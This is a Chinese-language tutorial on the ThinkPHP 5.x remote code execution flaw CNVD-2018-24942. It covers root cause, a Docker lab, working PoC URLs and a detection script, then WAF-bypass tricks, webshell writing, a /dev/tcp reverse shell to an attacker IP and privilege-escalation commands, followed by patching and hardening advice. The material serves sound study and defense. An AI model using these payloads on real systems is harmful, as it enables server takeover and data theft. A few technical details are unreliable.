1. 项目概述:一次对经典漏洞的深度剖析
最近在整理历史漏洞案例库,翻到了ThinkPHP 5.x系列那个经典的远程代码执行漏洞,编号CNVD-2018-24942。这个漏洞在2018年底被公开,当时影响范围极广,直到今天,在一些老旧系统或未及时更新的项目中依然可能遇到。它不像一些需要复杂条件组合的漏洞,其触发路径清晰,利用方式直接,是学习PHP框架安全、理解路由解析和代码执行原理的绝佳样本。很多安全从业者的“漏洞复现”启蒙课可能就是从这个漏洞开始的。网上关于它的分析文章不少,但大多停留在PoC(概念验证)的展示上,对于漏洞产生的深层原因、框架内部的处理逻辑以及在实际渗透测试中可能遇到的变种和阻碍,讨论得还不够深入。我打算结合自己当年分析源码和搭建环境复现的经历,把这个漏洞从头到尾掰开揉碎了讲清楚,不仅告诉你“怎么打”,更要讲明白“为什么能这么打”,以及在实际场景中如何灵活运用和防御。
简单来说,这个漏洞允许攻击者通过构造一个特殊的HTTP请求,在目标ThinkPHP 5.0.23及之前版本(5.x系列部分版本)的服务器上执行任意PHP代码。其核心问题出在框架的路由解析机制没有对控制器名进行严格过滤,导致攻击者可以将恶意代码“注入”到控制器名的解析过程中,最终被eval或类似函数执行。这不仅仅是ThinkPHP的问题,它揭示了一类在MVC框架设计中常见的风险模式。无论你是正在学习Web安全的初学者,还是想巩固漏洞原理的进阶者,或是负责维护ThinkPHP项目的开发者,理解这个漏洞都大有裨益。接下来,我会从环境搭建、原理逐行分析、多种利用方式实战到修复方案,带你完整走一遍。
2. 漏洞原理深度解析:路由解析的“信任”危机
要理解CNVD-2018-24942,我们必须深入ThinkPHP 5.x的路由机制。ThinkPHP提供了多种路由模式,其中“兼容模式”和“普通模式”是导致漏洞的关键。在默认配置下,如果未定义明确的路由规则,框架会尝试解析URL中的路径信息,将其映射到对应的控制器(Controller)和方法(Action)。
2.1 漏洞触发路径追踪
漏洞的入口点在于应用的路由解析环节。以ThinkPHP 5.0.23为例,我们跟踪一下一个典型请求的处理流程:
- 请求入口:所有请求通过
public/index.php进入,由think\App类进行调度。 - 路由检测:
App::routeCheck()方法会检测路由。如果未匹配到预定义的路由,则进入默认的路由解析逻辑。 - 路径信息解析:
Route::parseUrl()方法负责解析URL。假设我们访问的URL是http://target.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1。这里的s参数是ThinkPHP用于传递路径信息的变量(兼容模式下的典型特征)。解析后,得到的路径信息是/index/\think\app/invokefunction。 - 控制器名拼接:框架会将路径信息按
/分割,并尝试将其转换为控制器类名。关键步骤发生在将URL中的模块、控制器部分转换为类名的过程中。在特定条件下(例如,当控制器名中包含命名空间分隔符\,且开启了app_controller_auto_search或相关配置时),框架的类名自动加载机制可能会被误导。 - 危险的函数调用:在PoC中,攻击者直接指定了一个内置类
\think\App及其方法invokefunction。这个方法是框架内部用于调用函数的一个工具方法。通过传递参数function=call_user_func_array和vars[0]=phpinfo&vars[1][]=1,最终构造出call_user_func_array('phpinfo', [1])这样的代码执行链。
问题的核心在于,框架在解析用户输入的URL路径,并将其转换为可执行的控制器类和方法调用时,过度信任了用户输入,没有对控制器名进行有效的安全过滤和合法性校验,导致用户可以通过注入命名空间、类名、方法名的方式,跳转到框架内部本不应被直接访问的类和方法,进而利用这些内部方法的功能(如invokefunction)来执行任意代码。
2.2 关键代码片段分析
让我们聚焦于最关键的利用点。在PoC中,s参数的值为/index/\think\app/invokefunction。这里的\think\app并不是一个合法的控制器目录,但它是一个完整的类名(包含全局命名空间前缀\)。ThinkPHP的路由解析逻辑中,有一段代码用于将URL路径转换为类名:
// 简化的逻辑示意 $controller = str_replace(‘.’, ‘\\’, ucfirst($controllerName)); $class = ‘app\\’ . $module . ‘\\controller\\’ . $controller;当攻击者传入\think\app时,由于它已经以反斜杠开头,在某些解析分支下,可能会被直接当作完整的类名使用,绕过了基于模块和控制器目录的拼接过程。随后,框架通过自动加载机制找到了内置的think\App类(注意大小写,PHP在Linux下类名大小写敏感,但Windows下不敏感,这也是一个影响因素)。
think\App::invokefunction方法内部大致如下:
public static function invokefunction($function, $vars = []) { // ... 一些检查 ... return call_user_func_array($function, $vars); }这个方法本意是供框架内部在特定场景下调用函数或可调用对象使用的。但因为它是一个public静态方法,且通过路由可访问,就成为了一个危险的“跳板”。攻击者通过参数完全控制了$function和$vars,从而实现了任意函数调用。将$function设置为call_user_func_array,再通过vars传递phpinfo和参数,就构成了一个嵌套的函数调用,最终执行了phpinfo()。
注意:实际漏洞利用链可能涉及多个版本和不同的入口点(例如通过
\think\Container类)。上述分析是最典型和常见的一种。不同小版本间代码可能有细微差别,但核心思想一致:用户输入控制了类/方法/函数的调用过程。
2.3 漏洞影响范围与变种
这个漏洞主要影响ThinkPHP 5.0.x系列和5.1.x系列的部分版本(5.0.23及以下,5.1.31以下版本存在类似问题)。根据利用的类和方法不同,PoC也有多种形式:
- 经典PoC:利用
\think\app/invokefunction。 - 替代PoC:利用
\think\Container类的invokeClass或make方法,通过反射来实例化任意类并执行其方法。 - 命令执行PoC:将
phpinfo替换为system、shell_exec等函数,并传递命令参数,如&function=call_user_func_array&vars[0]=system&vars[1]=id,即可执行系统命令。
这些变种都围绕着同一个核心:利用框架内部公开的、具有动态代码执行能力的方法,并将用户输入作为其参数。在复现和研究时,可以尝试这些不同的Payload,以加深对漏洞链的理解。
3. 实战复现环境搭建与验证
“纸上得来终觉浅,绝知此事要躬行。” 要真正理解一个漏洞,亲手复现是必不可少的环节。下面我将详细说明如何搭建一个安全的、用于学习的漏洞复现环境。
3.1 环境准备与配置
我们使用Docker来搭建环境,这是最安全、最便捷的方式,可以避免对宿主机造成影响。
步骤1:创建项目目录并编写Dockerfile在你的工作目录下,创建一个新目录,例如thinkphp-5.0.23-rce。进入该目录,创建Dockerfile文件。
# Dockerfile FROM php:5.6-apache # 安装必要的PHP扩展和工具 RUN apt-get update && apt-get install -y \ libfreetype6-dev \ libjpeg62-turbo-dev \ libpng-dev \ libzip-dev \ zip \ unzip \ && docker-php-ext-configure gd --with-freetype-dir=/usr/include/ --with-jpeg-dir=/usr/include/ \ && docker-php-ext-install -j$(nproc) gd zip pdo_mysql mysqli # 启用Apache的rewrite模块 RUN a2enmod rewrite # 设置工作目录 WORKDIR /var/www/html # 下载并解压ThinkPHP 5.0.23 RUN curl -L -o thinkphp.tar.gz https://github.com/top-think/framework/archive/v5.0.23.tar.gz \ && mkdir thinkphp \ && tar -xzf thinkphp.tar.gz -C thinkphp --strip-components=1 \ && rm thinkphp.tar.gz # 或者,更常见的做法是下载完整应用骨架。这里我们使用一个包含漏洞版本的预构建测试环境。 # 实际上,我们可以直接使用 vulhub 的镜像。但为了理解,我们手动模拟。 # 我们直接复制一个简单的入口文件。 RUN echo “<?php define(‘APP_PATH’, __DIR__ . ‘/application/’); require __DIR__ . ‘/thinkphp/start.php’;” > index.php # 复制一个最简单的应用配置文件(可选) RUN mkdir -p application/config RUN echo “<?php return [‘app_debug’ => true, ‘app_trace’ => false];” > application/config/app.php # 修改目录权限 RUN chown -R www-data:www-data /var/www/html步骤2:使用现成靶场(推荐)对于初学者,手动构建可能遇到各种依赖问题。我强烈推荐使用vulhub靶场,它已经为我们准备好了完美的环境。
# 1. 克隆 vulhub 仓库(如果尚未拥有) git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入 ThinkPHP 5.0.23 RCE 漏洞目录 cd thinkphp/5.0.23-rce # 3. 启动靶场环境 docker-compose up -d等待片刻,Docker会自动拉取镜像并启动容器。访问http://your-host-ip:8080应该能看到ThinkPHP的默认欢迎页面(或者一个简单的应用页面)。
实操心得:使用
vulhub等集成靶场是漏洞学习初期最高效的方式。它避免了环境配置的繁琐,让你能聚焦于漏洞本身。务必在隔离的虚拟机或云服务器中进行实验,切勿在公网或生产环境相关网络内进行。
3.2 漏洞验证与利用
环境运行后,我们开始验证漏洞是否存在。
方法一:使用经典PoC进行验证
我们使用curl命令或浏览器插件(如HackBar)来发送Payload。
# 使用curl发送GET请求验证漏洞 curl “http://your-host-ip:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1”如果漏洞存在,响应体中会返回完整的phpinfo()页面信息,包含PHP配置、环境变量等。
方法二:执行系统命令
将PoC中的函数替换为命令执行函数。
# 执行 whoami 命令 curl “http://your-host-ip:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]=whoami” # 或者使用反引号`shell_exec`,需要查看页面源码或输出到文件 curl “http://your-host-ip:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1]=id” -o response.html cat response.html方法三:利用\think\Container的变种
curl “http://your-host-ip:8080/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1”注意事项:
- URL编码:在实际渗透测试中,空格、管道符
|、重定向符号>等在命令中需要使用URL编码(如空格为%20或+)。- 参数传递:
vars参数是一个数组。对于需要多个参数的函数,需要构造多层数组,例如vars[0]=system&vars[1][]=ls&vars[1][]=-la对应system(‘ls’, ‘-la’),但system函数通常只接受一个字符串命令。更常见的做法是将整个命令作为一个字符串传递:vars[1]=ls -la /。- 输出获取:有些命令执行函数(如
system)会直接输出,而shell_exec则返回输出字符串,需要借助echo或写入文件来查看。可以构造如vars[1]=whoami > /tmp/test.txt的命令,然后尝试读取该文件(如果web用户有权限)。- 权限限制:Web服务器进程(通常是
www-data或nobody用户)权限较低,可能无法执行某些命令或访问某些目录。
3.3 编写自动化检测脚本
手动测试效率低,我们可以用Python写一个简单的检测脚本。
#!/usr/bin/env python3 import requests import sys def check_thinkphp_rce(url): """ 检测目标是否存在ThinkPHP 5.0.23 RCE漏洞。 """ payloads = [ (‘/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1’, ‘PHP Version’), (‘/index.php?s=/index/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1’, ‘PHP Version’), ] for payload, success_keyword in payloads: try: target_url = url.rstrip(‘/’) + payload # 注意,这里对反斜杠进行了处理,实际请求时需要保留。 # 在requests中,直接拼接即可,它会自动处理。 resp = requests.get(target_url, timeout=10) if success_keyword in resp.text: print(f‘[+] 漏洞存在!Payload: {payload}’) print(f‘[*] 响应长度: {len(resp.text)}’) # 可选:截取部分响应内容预览 # print(resp.text[:500]) return True except requests.exceptions.RequestException as e: print(f‘[-] 请求失败: {e}’) continue print(‘[-] 未发现漏洞’) return False if __name__ == ‘__main__’: if len(sys.argv) != 2: print(f‘用法: {sys.argv[0]} <目标URL>’) print(f‘示例: {sys.argv[0]} http://192.168.1.100:8080’) sys.exit(1) target = sys.argv[1] check_thinkphp_rce(target)这个脚本尝试两个常见的Payload,并在响应中查找PHP Version关键字来判断漏洞是否存在。在实际使用中,可以增加更多的Payload和更精确的指纹识别。
4. 漏洞挖掘与利用的进阶技巧
掌握了基础复现后,我们来看看在实际渗透测试或源码审计中,如何更深入地挖掘和利用这类漏洞。
4.1 源码审计:寻找类似的“危险方法”
ThinkPHP这个漏洞的本质是找到了一个“跳板”方法(invokefunction)。在审计其他PHP框架或CMS时,可以关注以下特征的方法:
- 静态公共方法:容易被直接调用。
- 方法名包含
invoke、call、eval、create_function等关键词。 - 方法参数中直接接收函数名、类名、代码字符串。
- 方法内部使用了
call_user_func、call_user_func_array、eval、assert(PHP < 7.1)等函数。
审计流程可以这样进行:
- 全局搜索:在项目源码中使用
grep -r “call_user_func” .或grep -r “eval(” .等命令,定位危险函数调用点。 - 回溯参数:找到调用点后,向上回溯参数来源,检查是否用户可控。
- 分析调用链:如果用户输入经过若干层处理和传递,最终到达危险函数,那么就需要分析整个传递和处理过程是否有过滤不严的情况。
- 构造利用链:确认用户可控后,思考如何构造输入,使得传递到危险函数时,能形成有效的代码执行。
4.2 绕过可能的WAF或过滤
在实际目标上,可能会遇到Web应用防火墙(WAF)或应用自身的一些简单过滤。针对这个漏洞,可以尝试一些绕过技巧:
- 大小写混淆:PHP在Windows环境下对类名、函数名大小写不敏感。可以尝试
\Think\App、\THINK\APP等。 - URL编码:对Payload中的特殊字符进行双重甚至多重URL编码。例如,将
/编码为%2f,再将%编码为%25,变成%252f。某些WAF可能只解码一次。 - 空格填充:在参数名或值中添加多余的空格(
+或%20)、制表符(%09)、换行符(%0a)等,例如vars[0] =phpinfo。 - 参数污染:同时提交多个同名参数,如
vars[0]=system&vars[0]=phpinfo,不同后端处理方式可能不同,可能导致WAF解析差异。 - 使用其他入口点:除了
invokefunction,研究是否有其他类的方法存在类似问题,例如通过反射类ReflectionClass或ReflectionFunction进行利用。
重要提醒:这些技巧仅用于安全研究和授权测试,帮助理解防御机制的局限性。在未经授权的测试中使用是违法的。
4.3 漏洞利用的实战场景
在真实的渗透测试中,拿到RCE权限只是第一步。接下来需要考虑如何维持访问、提升权限、横向移动等。
写入Webshell:这是最直接的方式。利用漏洞执行命令,向Web目录写入一个PHP文件。
# 使用echo写入一句话木马 curl “http://target.com/...&function=call_user_func_array&vars[0]=system&vars[1]=echo ‘<?php eval(\$_POST[cmd]);?>’ > shell.php” # 注意:需要根据目标环境处理引号和转义。更可靠的方式是使用php代码配合file_put_contents curl “http://target.com/...&function=call_user_func_array&vars[0]=assert&vars[1]=file_put_contents(‘shell.php’, ‘<?php eval(\$_POST[a]);?>’)”写入后,即可使用中国菜刀、蚁剑等工具连接。
反弹Shell:如果目标服务器能出网,反弹一个Shell到你的公网服务器是更好的选择。
# 在你的服务器上监听端口 nc -lvnp 4444 # 在目标上执行反弹命令(需要目标有nc、bash、python等) curl “http://target.com/...&vars[1]=bash -c ‘bash -i >& /dev/tcp/your-ip/4444 0>&1’”注意命令的编码和可用性。
信息收集:执行
whoami、id、uname -a、cat /etc/passwd、ps aux、ifconfig、netstat -antp等命令,收集系统、用户、网络、进程信息。权限提升:检查
sudo -l、SUID文件(find / -perm -u=s -type f 2>/dev/null)、内核漏洞(uname -a)、计划任务、数据库凭证等,尝试提权。
5. 漏洞修复方案与安全加固建议
对于开发者和管理员来说,了解漏洞原理后,更重要的是如何修复和防范。
5.1 官方修复方案
ThinkPHP官方在后续版本中修复了此漏洞。修复的核心思路包括:
- 严格路由过滤:在路由解析阶段,对控制器名、操作名进行了严格的合法性校验,禁止输入中包含
\、.等特殊字符。 - 移除或保护危险方法:对
App::invokefunction等内部方法增加了访问控制,或将其改为protected/private方法,防止通过URL直接访问。 - 改进自动加载:优化类名自动加载逻辑,避免将用户输入直接拼接为类名进行加载。
最直接有效的修复方法是升级ThinkPHP框架到安全版本。
- ThinkPHP 5.0.x 用户应升级至5.0.24或更高版本。
- ThinkPHP 5.1.x 用户应升级至5.1.31或更高版本。
- 建议直接升级到最新的ThinkPHP 6.x或8.x版本,这些版本在架构和安全性上有了更大提升。
升级前,请务必仔细阅读官方升级指南,并进行充分的测试,因为大版本间可能存在不兼容的改动。
5.2 临时缓解措施
如果因种种原因无法立即升级,可以考虑以下临时加固方案:
应用层过滤:在应用入口文件(
public/index.php)或全局中间件中,对请求参数进行过滤,检查s、c、a等路由参数中是否包含可疑字符(如\、..、think\、invokefunction等),一旦发现则直接拒绝请求。// 在index.php中增加简单过滤 if (isset($_GET[‘s’]) && stripos($_GET[‘s’], ‘think\\’) !== false) { die(‘Access Denied’); }注意:这种方法可能被绕过,且需要了解所有可能的攻击向量。
禁用危险函数:在
php.ini中,通过disable_functions指令禁用不必要的危险函数,如system、exec、passthru、shell_exec、proc_open、eval、assert等。这可以阻止攻击者执行系统命令,但无法阻止攻击者利用漏洞调用其他危险函数或进行其他操作。disable_functions = system,exec,passthru,shell_exec,proc_open,popen,eval,assert配置Web服务器:在Nginx或Apache配置中,添加规则过滤异常的URL请求。
# Nginx 示例:阻止包含特定模式的请求 location ~* “(think\\|invokefunction)” { deny all; return 403; }部署WAF:部署专业的Web应用防火墙,可以拦截已知的攻击Payload。
5.3 长期安全开发规范
除了修复特定漏洞,建立良好的安全开发习惯更重要:
- 最小权限原则:Web服务器进程(如php-fpm)应以低权限用户(如
www-data)运行,并限制其文件系统访问权限。 - 输入验证与过滤:对所有用户输入(GET、POST、COOKIE、HEADER)进行严格的验证和过滤,遵循“白名单”原则,只允许预期的字符和格式。
- 避免动态代码执行:尽量避免使用
eval()、assert()、create_function()以及直接动态包含用户可控文件(如include($_GET[‘page’]))。如果必须使用,要进行极其严格的过滤。 - 安全配置框架:使用框架时,关闭调试模式(
app_debug)、应用Trace(app_trace)等生产环境不需要的功能。这些功能可能泄露敏感信息。 - 依赖管理:使用Composer等工具管理依赖,并定期更新第三方库到安全版本。关注安全公告(如CVE、CNVD)。
- 代码审计与渗透测试:在项目上线前和定期进行代码安全审计和渗透测试,主动发现潜在漏洞。
6. 常见问题排查与复现踩坑记录
在复现和分析这个漏洞的过程中,我遇到过不少问题。这里总结一下,希望能帮你避开这些坑。
6.1 环境搭建问题
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| 访问靶场IP:8080无响应 | Docker容器未成功启动或端口映射错误 | 运行docker-compose ps查看容器状态。运行docker-compose logs查看日志。检查宿主机防火墙是否放行了8080端口。 |
| 页面显示“控制器不存在”或404 | 靶场应用路由配置问题,或ThinkPHP未正确安装 | 确认访问的URL路径是否正确。检查vulhub靶场目录下的README,确认正确的访问路径。如果是手动搭建,检查index.php和ThinkPHP核心库路径是否正确。 |
| 执行PoC无回显,或返回空白页 | PHP配置禁用了错误显示;phpinfo被禁用;函数被禁用 | 检查php.ini中display_errors是否设置为On。尝试执行echo “test”;或phpversion();等简单函数测试。查看Docker容器中PHP的disable_functions配置。 |
| 命令执行成功但无输出 | system等函数输出被缓冲或未捕获;Web用户无权限 | 尝试将命令输出重定向到Web目录下的文件,如vars[1]=whoami > /var/www/html/out.txt,然后访问该文件。使用shell_exec并配合echo输出:vars[0]=echo&vars[1][]=$(whoami)。 |
6.2 漏洞利用问题
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
使用system执行ls等命令成功,但执行/bin/bash反弹Shell失败 | Web用户权限不足,无法创建网络连接或/bin/bash不存在 | 尝试使用/bin/sh。检查目标防火墙出站规则。尝试使用其他反弹Shell方式,如Python、Perl、PHP。先测试nc -zv your-ip 4444看目标是否能连接到你的服务器。 |
| 写入Webshell失败,提示权限拒绝 | Web目录不可写,或open_basedir限制 | 尝试写入到/tmp目录。使用find / -name “*.php” -type f 2>/dev/null寻找已有可写目录。检查php.ini中的open_basedir设置。 |
| 某些Payload无效,但其他有效 | 目标ThinkPHP版本或补丁情况不同 | 收集更多关于目标的信息,如HTTP响应头中的X-Powered-By、报错信息等,精确判断版本。尝试使用不同变种的Payload(如使用\think\Container)。 |
6.3 工具使用与调试技巧
- 使用Burp Suite/Proxy:将浏览器或
curl的流量代理到Burp Suite,可以方便地查看原始请求和响应,修改Payload,进行重放测试。 - 开启PHP错误日志:在Docker容器内修改
php.ini,设置log_errors = On和error_log = /var/log/php_errors.log,然后重启PHP服务。这能帮助你看清代码执行过程中的错误,对于调试复杂Payload非常有用。 - 分步测试:不要一开始就使用复杂的反弹Shell命令。先从简单的
phpinfo()、echo ‘test’开始,确认漏洞可用。然后测试命令执行whoami、id。再测试文件操作touch /tmp/test。最后再尝试写入Webshell或反弹Shell。 - 编码问题:在构造包含空格、引号、重定向符的命令时,要注意URL编码。在Burp Suite中,可以使用
Ctrl+U进行URL编码/解码。对于复杂的命令,可以先用Base64编码,然后在目标端解码执行。# 本地编码命令 echo -n “bash -i >& /dev/tcp/10.0.0.1/4444 0>&1” | base64 # 得到:YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjEK # Payload中执行 vars[1]=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjEK | base64 -d | bash
这个漏洞虽然已经过去多年,但它像一面镜子,映照出Web开发中“信任用户输入”所带来的巨大风险。每一次漏洞复现,不仅是为了掌握一个攻击技巧,更是为了从防御者的角度,深刻理解安全编码的每一个细节。在搭建环境、跟踪代码、构造Payload、解决问题的过程中,你对PHP、对MVC框架、对网络协议的理解都会加深一层。